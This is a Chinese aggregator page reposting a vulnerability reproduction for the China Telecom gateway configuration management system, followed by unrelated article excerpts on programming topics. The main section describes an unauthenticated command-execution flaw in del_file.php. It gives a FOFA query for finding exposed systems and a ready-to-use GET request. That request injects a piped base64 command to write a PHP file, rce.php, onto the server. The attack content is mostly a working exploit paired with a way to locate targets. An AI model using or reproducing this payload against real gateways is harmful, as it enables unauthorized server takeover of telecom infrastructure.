当前位置： 首页 > news >正文

电信网关配置管理系统 del_file.php 前台RCE漏洞复现

news 2026/3/30 3:58:43

0x01 产品简介

中国电信集团有限公司（英文名称“China Telecom”、简称“中国电信”）成立于2000年9月，是中国特大型国有通信企业、上海世博会全球合作伙伴。电信网关配置管理系统是一个用于管理和配置电信网络中网关设备的软件系统。它可以帮助网络管理员实现对网关设备的远程监控、配置、升级和故障排除等功能，从而确保网络的正常运行和高效性能。

0x02 漏洞概述

电信网关配置管理系统 /manager/newtpl/del_file.php 接口存在命令执行漏洞，未经身份验证的远程攻击者可以利用此漏洞执行任意代码，从而获取服务器权限。

0x03 复现环境

FOFA：body="img/login_bg3.png" && body="系统登录"

0x04 漏洞复现

PoC

GET /manager/newtpl/del_file.php?file=1.txt%7Cecho%20PD9waHAgcGhwaW5mbygpO3VubGluayhfX0ZJTEVfXyk7Pz4=%20%7C%20base64%20-d%20%3E%20rce.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit

相关文章：

电信网关配置管理系统 del_file.php 前台RCE漏洞复现

0x01 产品简介 中国电信集团有限公司（英文名称“China Telecom”、简称“中国电信”）成立于2000年9月，是中国特大型国有通信企业、上海世博会全球合作伙伴。电信网关配置管理系统是一个用于管理和配置电信网络中网关设备的软件系统。它可以帮助网络管理员实现对网关设备的远…...

编程日记 2024/6/19 4:31:52

游戏心理学Day18

游戏玩家心理 在游戏世界中，设计师的工作总是围绕尽可能留住玩家要展开。在游戏创作时，设计师会假设目标诉讼的特点并激励迎合他们的需求，如果这种假设是经过实际调研之后做出的，那么就会比较接近实际情况而。如果这种假设是设计…...

编程日记 2024/6/19 4:30:51

发文章不违规的5种解决方案，非常适用，记得收藏！

之前以为使用AI写出来的文章，只要检测通过就不会违规，结果却还是让我有些失望。最近测试几款AI工具，测试结果都还是会存在违规情况，无法全文发布。 AI是听从人的指令，只能说是如何下指令，这个非常重要。至…...

编程日记 2024/6/19 4:29:50

【ARMv8/ARMv9 硬件加速系列 2.2 -- ARM NEON 的加减乘除(左移右移)运算】

文章目录 NEON 加减乘除NEON 加减乘除 下面代码是使用ARMv8汇编语言对向量寄存器v0-v31执行加、减、乘以及左移和右移操作的示例。 ARMv8的SIMD指令集允许对向量寄存器中的多个数据进行并行操作。v0和v1加载数据，对它们进行加、减和乘,左移和右移操作。最后，我们会将结果存储…...

编程日记 2024/6/19 4:28:49

[2024-06]-[大模型]-[Ollama]- WebUI

主要涉及要部署的前端webui是来源于：https://github.com/open-webui/open-webui 正常就使用： docker run -d -p 3000:8080 --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-web…...

编程日记 2024/6/19 4:25:46

AI智能盒子助力中钢天源设备工厂升级安全防护

中钢集团安徽天源科技股份有限公司成立于2002年3月27日,是中央企业中国中钢股份有限公司控股的上市公司，主导产品为永磁铁氧体器件、钕铁硼器件、四氧化三锰、锶铁氧体预烧料及各类磁选机等。 在中钢天源智能化升级过程中，采用并定制开发一系列厂区安全…...

编程日记 2024/6/19 4:24:45

RNN的变种们：GRULSTM双向RNN

上篇笔记记录到RNN的一个缺点：训练时会出现梯度消失，解决的办法是找到一个更优的计算单元。这里也有GRU和LSTM。 GRU（Gated Recurrent Unit）门控训练网络 什么是门控机制？就是对当前的输入进行一个筛选。门打开&…...

编程日记 2024/6/19 4:23:44

Linux网络-HttpServer的实现

文章目录 前言一、请求报文的解析URL的解析 二、响应报文的发送Content-LenthConten-TypeCookie和Set-CookieCookie的风险 三、尝试发送一个HTML网页404网页Location 重定向 四、浏览器的多次请求行为总结 前言 之前我们简单理解了一下Http协议，本章我们将在LInux下…...

编程日记 2024/6/19 4:22:41

GPT-4o的综合评估与前景展望

如何评价GPT-4o? GPT-4o作为OpenAI推出的最新一代大型语言模型，其性能、功能和应用前景都备受关注。以下是对GPT-4o的综合评估与前景展望： 一、技术性能评估 响应速度：GPT-4o在响应速度上有了显著提升，能够在极短的时间内对输入…...

编程日记 2024/6/19 4:21:40

私人云盘（自动云同步）

一、项目简介 模仿小米的云服务，实现一个通过TCP实现的私人云盘，因为能力有限，所以只实现自动云同步这一个功能，具体可以分为三个小功能，即保持云端和终端数据一致、实现文件的上传与下载以及手动同步 二、涉及到的知…...

编程日记 2024/6/19 4:19:38

【CMake】Linux 下权限丢失与软链接失效问题

【CMake】Linux 下权限丢失与软链接失效问题 文章目录 【CMake】Linux 下权限丢失与软链接失效问题问题概述解决方法1 - 安装目录2 - 安装文件3 - 手动指定 使用 Linux 下原生命令行注意事项参考链接 问题概述 一般使用 CMake 安装，在 Windows 平台不会出问题&…...

编程日记 2024/6/19 4:18:37

内部类介绍

内部类（Inner Class）是在另一个类的内部定义的类。它可以访问外部类的所有成员，包括私有成员。内部类有两种主要形式：局部内部类（定义在方法内部）和成员内部类（定义在类的内部，但不在…...

编程日记 2024/6/19 4:16:28

【CVPR2021】LoFTR：基于Transformers的无探测器的局部特征匹配方法

LoFTR：基于Transformers的局部检测器 0. 摘要 我们提出了一种新的局部图像特征匹配方法。我们建议先在粗略级别建立像素级密集匹配，然后再在精细级别细化良好匹配，而不是按顺序进行图像特征检测、描述和匹配。与使用成本体积搜索对应关系的密…...

编程日记 2024/6/19 4:15:27

总结一下 C# 如何自定义特性 Attribute 并进行应用

前言 Attribute（特性）是一种用于为程序元素（如类、方法、属性等）提供元数据信息的方法。 特性是一种声明式的信息，附加到程序元素上，提供额外的数据用于描述和控制这些元素的行为。 在编译和运行时&…...

编程日记 2024/6/19 4:14:26

三种暴露方法和引入方式

1.分别暴露 export ...export...用于按需导出一个或多个模块，在导入时需要使用花括号指定导入的模块名称，例如import { a, b } from module module.js中 export let a 1 export function b(){console.log(hello,vue) } 2.统一暴露 export { ...}用于统…...

编程日记 2024/6/19 4:11:23

“Git之道：掌握常用命令，轻松管理代码“

目录 1. 初始化和配置 2. 提交和更新 3. 分支和合并 4. 查看和比较 5. 远程仓库 6. 文件操作命令 1. 初始化和配置 git init：在当前目录初始化一个新的Git仓库git config：配置Git的全局或局部选项git clone：从远程仓库克隆一个本地副本…...

编程日记 2024/6/19 4:10:21

Linux vim 文本编辑 操作文本 三种模式

介绍 vi 是一个经典的行编辑器，支持模式编辑（包括普通模式、插入模式和命令模式）。 vim 保留vi核心功能的基础上，增加了多级撤销、语法高亮、插件支持等高级功能。 两者的最大区别，简单的来说vim就是vi的增强版 三…...

编程日记 2024/6/19 4:09:20

JavaFX DatePicker

JavaFX DatePicker允许从给定日历中选择一天。DatePicker控件包含一个带有日期字段和日期选择器的组合框。JavaFX DatePicker控件使用JDK8日期时间API。 import javafx.application.Application; import javafx.scene.Scene; import javafx.scene.control.DatePicker; import j…...

编程日记 2024/6/19 4:08:19

开展“安全生产月”活动向媒体投稿的好方法找到了

作为一名单位的信息宣传员,我的职责是确保每一次重要活动的声音都能准确无误地传达到社会的每一个角落。在这样的使命驱动下,我曾一度陷入了一种传统的投稿模式——依赖电子邮件,将精心准备的稿件一封封地发送给各大媒体。初入此行,我满心以为这便是信息传播的路径,却未料到,这…...

编程日记 2024/6/19 4:07:18

商讯杂志商讯杂志社商讯编辑部2024年第10期目录

案例分享 基于胜任素质的干部选拔和梯队建设体系探讨——以A区卫生健康系统为例 康文雁; 1-4 “家庭五险一金”对居民商业保险购买存在挤出效应——基于江苏省徐州、淮安、泰州三市的实证研究 李炳毅; 5-8 人口老龄化背景下促进徐州市经济高质量发展的探究 李艳秋;…...

编程日记 2024/6/19 4:06:16

Zotero插件安装失败？手把手教你解决版本兼容问题（以better-notes为例）

Zotero插件安装失败？手把手教你解决版本兼容问题（以better-notes为例） 学术研究离不开文献管理工具，Zotero作为开源免费的文献管理神器，凭借其强大的功能和丰富的插件生态，成为众多科研工作者的首选。然而…...

编程新知 2026/3/30 3:47:11

Session 的默认失效时间是多长？如何配置和修改？

Session 的默认失效时间是多久？如何配置和修改？1. 引言：停车场的“免费停车券”2. 前置知识：Session 是什么？它为什么需要“失效”？3. 默认失效时间是多少？4. Session 超时的工作原理5. 如何配置…...

编程新知 2026/3/30 2:38:36

TypeScript——模块解析

模块解析1、相对模块导入2、非相对模块导入3、模块解析策略4、模块解析策略之Classic4.1、解析相对模块导入4.2、解析非相对模块导入5、模块解析策略之Node5.1、解析相对模块导入5.2、解析非相对模块导入6、--baseUrl6.1、设置--baseUrl6.2、解析--baseUrl7、paths7.1、设置pat…...

编程新知 2026/3/30 1:15:58

LingBot-Depth部署教程：Docker Compose编排+模型缓存卷自动初始化

LingBot-Depth部署教程：Docker Compose编排模型缓存卷自动初始化 1. 引言：从稀疏数据到精准3D测量 你有没有遇到过这样的场景？手头有一个深度摄像头，但采集到的深度图总是零零散散，像一张被撕破的旧地图，…...

编程新知 2026/3/30 0:43:44

DataX 实战：从零部署到多场景数据同步

1. DataX入门：为什么选择它作为数据同步工具 第一次接触DataX是在三年前的一个紧急项目里，当时需要把生产环境的MySQL数据实时同步到分析库。试过几种方案后，最终被DataX的稳定性和灵活性打动。作为阿里开源的数据同步工具，它最大…...

编程新知 2026/3/30 0:05:25

Windows持久化核心战术：系统服务植入实战教程

前言技术背景：在网络攻击的生命周期（Cyber Kill Chain）中，持久化（Persistence） 是攻击者在失陷主机上维持长期访问权限的关键阶段。在众多持久化技术中，将恶意程序注册为系统服务（Sy…...

编程新知 2026/3/29 23:11:09

Python智能内存管理策略深度拆解（CPython内存池机制全图谱曝光）

第一章：Python智能内存管理策略全景导览Python 的内存管理并非由开发者手动控制，而是通过一套高度集成的自动化机制协同运作，涵盖引用计数、循环垃圾回收（GC）、内存池分配（pymalloc）三大核心支柱…...

编程新知 2026/3/29 22:59:06

虚幻引擎蓝图调试实战：从“无访问”错误到IsValid的防御性编程

1. 当蓝图突然报错"无访问"时该怎么办 第一次在虚幻引擎里看到"‘无访问’正在尝试读取属性"这个报错时，我整个人都是懵的。明明昨天运行得好好的功能，今天突然就崩溃了。这种情况特别常见，尤其是当你修改了一些看似无关…...

编程新知 2026/3/29 22:36:51

颠覆式开源工具OptiScaler：全平台显卡优化解决方案

颠覆式开源工具OptiScaler：全平台显卡优化解决方案 【免费下载链接】OptiScaler DLSS replacement for AMD/Intel/Nvidia cards with multiple upscalers (XeSS/FSR2/DLSS) 项目地址: https://gitcode.com/GitHub_Trending/op/OptiScaler 你的显卡真的被充分…...

编程新知 2026/3/29 21:42:28

高效解决消息撤回问题的RevokeMsgPatcher完整指南

高效解决消息撤回问题的RevokeMsgPatcher完整指南 【免费下载链接】RevokeMsgPatcher :trollface: A hex editor for WeChat/QQ/TIM - PC版微信/QQ/TIM防撤回补丁（我已经看到了，撤回也没用了） 项目地址: https://gitcode.com/GitHub_Trendi…...

编程新知 2026/3/29 21:24:21